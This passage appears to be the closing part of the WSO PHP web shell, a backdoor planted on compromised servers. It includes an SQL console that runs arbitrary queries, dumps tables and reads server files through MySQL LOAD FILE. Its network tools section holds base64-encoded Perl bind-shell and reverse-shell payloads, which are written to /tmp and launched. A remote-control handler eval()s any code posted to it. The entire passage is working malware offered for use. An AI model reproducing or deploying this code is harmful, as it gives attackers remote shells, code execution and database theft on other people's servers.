2081 while ($item = $db->fetch()) {
2082 list($key, $value) = each($item);
2083 echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
2084 }
2085 echo '</select>';
2086 } else
2087 echo $tmp;
2088 } else
2089 echo $tmp;
2090 echo "</td>
2091
2092 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
2093 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>
2094 </tr>
2095 </table>
2096 <script>
2097 s_db='" . @addslashes($_POST['sql_base']) . "';
2098 function fs(f) {
2099 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2100 if(f.p1) f.p1.value='';
2101 if(f.p2) f.p2.value='';
2102 if(f.p3) f.p3.value='';
2103 }
2104 }
2105 function st(t,l) {
2106 d.sf.p1.value = 'select';
2107 d.sf.p2.value = t;
2108 if(l && d.sf.p3) d.sf.p3.value = l;
2109 d.sf.submit();
2110 }
2111 function is() {
2112 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2113 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2114 }
2115 </script>";
2116 if (isset($db) && $db->link) {
2117 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2118 if (!empty($_POST['sql_base'])) {
2119 $db->selectdb($_POST['sql_base']);
2120 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2121 $tbls_res = $db->listTables();
2122 while ($item = $db->fetch($tbls_res)) {
2123 list($key, $value) = each($item);
2124 if (!empty($_POST['sql_count']))
2125 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
2126 $value = htmlspecialchars($value);
2127 echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>({$n['n']})</small>") . "</nobr><br>";
2128 }
2129 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2130 if (@$_POST['p1'] == 'select') {
2131 $_POST['p1'] = 'query';
2132 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
2133 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2134 $num = $db->fetch();
2135 $pages = ceil($num['n'] / 30);
2136 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int) $_POST['p3']) . ">";
2137 echo " of $pages";
2138 if ($_POST['p3'] > 1)
2139 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
2140 if ($_POST['p3'] < $pages)
2141 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
2142 $_POST['p3']--;
2143 if ($_POST['type'] == 'pgsql')
2144 $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * 30);
2145 else
2146 $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * 30) . ',30';
2147 echo "<br><br>";
2148 }
2149 if ((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2150 $db->query(@$_POST['p2']);
2151 if ($db->res !== false) {
2152 $title = false;
2153 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2154 $line = 1;
2155 while ($item = $db->fetch()) {
2156 if (!$title) {
2157 echo '<tr>';
2158 foreach ($item as $key => $value)
2159 echo '<th>' . $key . '</th>';
2160 reset($item);
2161 $title = true;
2162 echo '</tr><tr>';
2163 $line = 2;
2164 }
2165 echo '<tr class="l' . $line . '">';
2166 $line = $line == 1 ? 2 : 1;
2167 foreach ($item as $key => $value) {
2168 if ($value == null)
2169 echo '<td><i>null</i></td>';
2170 else
2171 echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
2172 }
2173 echo '</tr>';
2174 }
2175 echo '</table>';
2176 } else {
2177 echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
2178 }
2179 }
2180 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2181 if (!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
2182 echo htmlspecialchars($_POST['p2']);
2183 echo "</textarea><br/><input type=submit value='Execute'>";
2184 echo "</td></tr>";
2185 }
2186 echo "</table></form><br/>";
2187 if ($_POST['type'] == 'mysql') {
2188 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2189 if ($db->fetch())
2190 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2191 }
2192 if (@$_POST['p1'] == 'loadfile') {
2193 $file = $db->loadFile($_POST['p2']);
2194 echo '<pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
2195 }
2196 } else {
2197 echo htmlspecialchars($db->error());
2198 }
2199 echo '</div>';
2200 wsoFooter();
2201}
2202function actionNetwork()
2203{
2204 wsoHeader();
2205 $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2206 $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2207 echo "<h1>Network tools</h1><div class=content>
2208
2209 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
2210 <span>Bind port to /bin/sh [perl]</span><br/>
2211 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2212 </form>
2213 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2214 <span>Back-connect [perl]</span><br/>
2215 Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2216
2217 </form><br>";
2218 if (isset($_POST['p1'])) {
2219 function cf($f, $t)
2220 {
2221 $w = @fopen($f, "w") or @function_exists('file_put_contents');
2222 if ($w) {
2223 @fwrite($w, @base64_decode($t));
2224 @fclose($w);
2225 }
2226 }
2227 if ($_POST['p1'] == 'bpp') {
2228 cf("/tmp/bp.pl", $bind_port_p);
2229 $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
2230 echo "<pre class=ml1>$out
2231" . wsoEx("ps aux | grep bp.pl") . "</pre>";
2232 unlink("/tmp/bp.pl");
2233 }
2234 if ($_POST['p1'] == 'bcp') {
2235 cf("/tmp/bc.pl", $back_connect_p);
2236 $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
2237 echo "<pre class=ml1>$out
2238" . wsoEx("ps aux | grep bc.pl") . "</pre>";
2239 unlink("/tmp/bc.pl");
2240 }
2241 }
2242 echo '</div>';
2243 wsoFooter();
2244}
2245function actionRC()
2246{
2247 if (!@$_POST['p1']) {
2248 $a = array(
2249 "uname" => php_uname(),
2250 "php_version" => phpversion(),
2251 "wso_version" => WSO_VERSION,
2252 "safemode" => @ini_get('safe_mode')
2253 );
2254 echo serialize($a);
2255 } else {
2256 eval($_POST['p1']);
2257 }
2258}
2259if (empty($_POST['a']))
2260 if (isset($default_action) && function_exists('action' . $default_action))
2261 $_POST['a'] = $default_action;
2262 else
2263 $_POST['a'] = 'SecInfo';
2264if (!empty($_POST['a']) && function_exists('action' . $_POST['a']))
2265 call_user_func('action' . $_POST['a']);
2266function FetchURL($url)
2267{
2268 $ch = curl_init();
2269 curl_setopt($ch, CURLOPT_USERAGENT, "$cheader");
2270 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2271 curl_setopt($ch, CURLOPT_HEADER, false);
2272 curl_setopt($ch, CURLOPT_URL, $url);
2273 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2274 curl_setopt($ch, CURLOPT_TIMEOUT, 30);
2275 $data = curl_exec($ch);
2276 if (!$data) {
2277 return false;
2278 }
2279 return $data;
2280}
2281exit;
2282?>